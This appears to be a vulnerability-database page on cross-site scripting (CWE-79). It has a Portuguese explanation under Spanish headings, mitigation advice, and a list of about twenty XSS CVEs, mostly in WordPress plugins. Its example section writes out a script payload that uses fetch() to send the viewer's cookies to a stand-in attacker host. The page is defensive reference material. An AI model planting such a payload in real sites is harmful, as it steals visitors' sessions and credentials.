Fallos del tipo CWE-79

30.295 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-49320HIGHWordPress Encyclopedia / Glossary / Wiki plugin <= 1.7.60 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-49316HIGHWordPress Akismet htaccess writer plugin <= 1.0.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-51713HIGHWordPress HQ60 Fidelity Card plugin <= 1.8 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-62077MEDIUMWordPress Affiliate Link Tracker plugin <= 0.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-51714HIGHWordPress User Password Reset plugin <= 1.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-49276HIGHWordPress Clio Grow plugin <= 1.0.2 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-51759HIGHWordPress SVT Simple plugin <= 1.0.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-44183MEDIUMPhpgurukul Vehicle Record Management System v1.0 is vulnerable to Cross Site Scripting (XSS) in /admin/profile.php via the name, email, and EPSS 0.3%CVE-2024-51690HIGHWordPress Wp Slide Categorywise plugin <= 1.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-20351MEDIUMCisco Desk Phone 9800 Series, IP Phone 7800 and 8800 Series, and Video Phone 8875 with SIP Firmware Cross-Site Scripting VulnerabilityEPSS 0.3%CVE-2024-38694HIGHWordPress Moloni plugin <= 4.7.4 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-51716HIGHWordPress Twitter real time search scrolling plugin <= 7.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-97660HIGHWPC Product Options for WooCommerce <= 4.0.5 - Unauthenticated Stored Cross-Site Scripting via wpcpo-* Array Key via Multipart Field NameEPSS 0.3%CVE-2024-2846MEDIUMVisual Footer Credit Remover <= 1.2 - Authenticated (Admin+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-54249HIGHWordPress Advanced Options Editor plugin <= 1.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-51718HIGHWordPress Simple Modal plugin <= 0.3.3 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-51763HIGHWordPress Team Showcase and Slider plugin <= 1.3 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2023-51338MEDIUMPHPJabbers Meeting Room Booking System v1.0 is vulnerable to Multiple Stored Cross-Site Scripting (XSS) in the "title, name" parameters of&nEPSS 0.3%CVE-2024-56228HIGHWordPress Wishlist for WooCommerce: Multi Wishlists Per Customer plugin <= 3.1.2 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-56014HIGHWordPress Olivia Theme <= 0.9.5 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%